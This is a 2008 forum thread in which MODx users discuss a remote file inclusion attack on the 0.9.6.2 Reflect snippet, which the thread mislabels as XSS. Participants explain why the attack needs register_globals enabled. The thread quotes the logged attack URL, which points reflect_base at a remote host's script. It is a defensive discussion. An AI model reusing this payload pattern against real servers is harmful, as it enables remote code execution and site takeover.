0.9.6.2 security problem with reflect snippets

Looks to me as if the Secunia advisory is omitting this important point. The hack is a typical XSS (Cross-Site Scripting) attack that attempts to inject an unexpected value into the $reflect_base variable. It does this by passing the value in the query string, which allows the hacker to include a remote file with any code that they want in it which will be executed as if it were on your server (= game over).

The URLs that people are seeing in their logs are like so:
/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.adultfirstdate.com/forum/spider.txt

You can see how $reflect_base is being set to a remote file, which is where the evil code lives.

However, if you do not have register_globals set to ON, then you cannot set $reflect_base from the query string. This same URL would not set the value of $reflect_base on your system, but rather it would be stored as $_GET[’reflect_base’]. So you cannot inject a malicious value into $reflect_base from the query string unless register_globals is set to ON.

MODx will complain loudly after installation and every time that you log into the Manager if you leave register_globals set to ON [admin: corrected "off" to "on"], so to me it doesn’t really seem correct to cite this as a MODx vulnerability per se. You would need to ignore these warnings for this attack to work. Your installation would also be vulnerable to hackers if you ignore the warnings to remove write permissions from your config file or delete the install directory after installation, so the only difference in this case is that the specific file being exploited (the reflect snippet code) wasn’t previously flagged as a potential vector for attack (although the general doorway through which the attacker entered was).

Quote from: ZAP at Nov 25, 2008, 06:17 PM

The URLs that people are seeing intheir logs are like so:
/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.adultfirstdate.com/forum/spider.txt

My servers all have register_globals OFF and no .htaccess files or other PHP file turn it back on to the best of my sleuthing. What does this log entry mean? It still shows a 200 - OK...

whois 60.50.58.202...

Am I chasing log ghosts at this point?

My guess is that a 200 reply just indicates that content was returned when requesting "misc.html" on your server (note the malformed URL in that line; MODx would probably parse out the first part and ignore the rest). So that would probably mean that you have such a URL on your site, since otherwise MODx would generally return an error code and page. I would also expect a 200 reply when loading the reflect snippet file directly (since it does exist), but that does not mean that the GET value in the query string was injected into the code (on the contrary, if you have register_globals set to OFF then it would not have been).

Thanks for the info ZAP! Gotta love the help here on the MODx forums!

I normally keep register_globals OFF. I’m still wondering why the injection attempts continued to increase? Hopefully they really were unsuccessful and the attempts will subside now that the reflect file is no longer available.

The security notice e-mail from feedburner came 12 minutes too late. Someone already probed one site.

(Well, actually it was more than 12 minutes too late. It should have reached me yesterday or at least this morning. There’s something wrong.)

Quote from: stesch at Nov 25, 2008, 07:04 PM

The security notice e-mail from feedburner came 12 minutes too late. Someone already probed one site.

Personally I’m not too worried about this vulnerability because I never, ever leave register_globals set to ON. So I don’t need to scramble and rename this file on dozens of MODx installations this morning. Probes for the file don’t worry me either, since it’s like having probes for open ports on your computer when you have a firewall in place (they can probe all they like, but they’re not getting in).

I expect that some script kiddie has hacked the servers listed in the URLs that people are seeing in their logs and is using them to probe other sites, and since these probes will be done automatically by scripts they wouldn’t necessarily stop just because they failed.

At the risk of sounding dismissive of this hack, there are probably hundreds of similar vulnerabilities out there in the wild in all sorts of unexpected places, so in my opinion the proper way to protect yourself is not to run around playing whack-a-mole for each and every exploit but to close that huge hole that they all abuse called register_globals.

[Oops! Thanks to Ryan for correcting my other post above]

Quote from: ZAP at Nov 25, 2008, 07:19 PM

Quote from: stesch at Nov 25, 2008, 07:04 PM

The security notice e-mail from feedburner came 12 minutes too late. Someone already probed one site.

Personally I’m not too worried about this vulnerability because I never, ever leave register_globals set to ON.

register_globals? This wasn’t mentioned anywhere. sigh

OK, false alarm then. I downloaded the "probe script" anyway. It was on a Hungarian server. Ugly PHP code to gather some simple information about the system. Including running "id".

The spider was programmed in Perl (according the User-Agent in the logfile).

modx will throw a hissy fit (not really but just display a warning on the welcome screen on install) if register_globals is on. It should not be a problem if you ’ve never seen a warning. You can check php_info from the Reports>Site Info>php_info() it should have the server and local register_globals state listed.

Cheers,

Jay

One positive from this little episode is that its shocked me into doing something I was going to do a while back and didn’t and that’s to turn mod_security back on. I always ran like this on my old static site and turned it off when I moved to MODx(tried the wiki rules thing, didn’t work for me). Would a stock out of the box mod_security have stopped this attack? I don’t know enough about it to know. I’m fortunate in that I don’t update my site often, and if necessary I can update the DB directly although its obviously more of a pain.

Quote from: shamblett at Nov 25, 2008, 08:38 PM

One positive from this little episode is that its shocked me into doing something I was going to do a while back and didn’t and that’s to turn mod_security back on. I always ran like this on my old static site and turned it off when I moved to MODx(tried the wiki rules thing, didn’t work for me). Would a stock out of the box mod_security have stopped this attack? I don’t know enough about it to know. I’m fortunate in that I don’t update my site often, and if necessary I can update the DB directly although its obviously more of a pain.

mod_security would do absolutely nothing in terms of this attack, so this is irrelevant to this thread. Once again, register_globals is the problem here, combined with a copy of the reflect snippet file with a php extension sitting on the filesystem of your web server.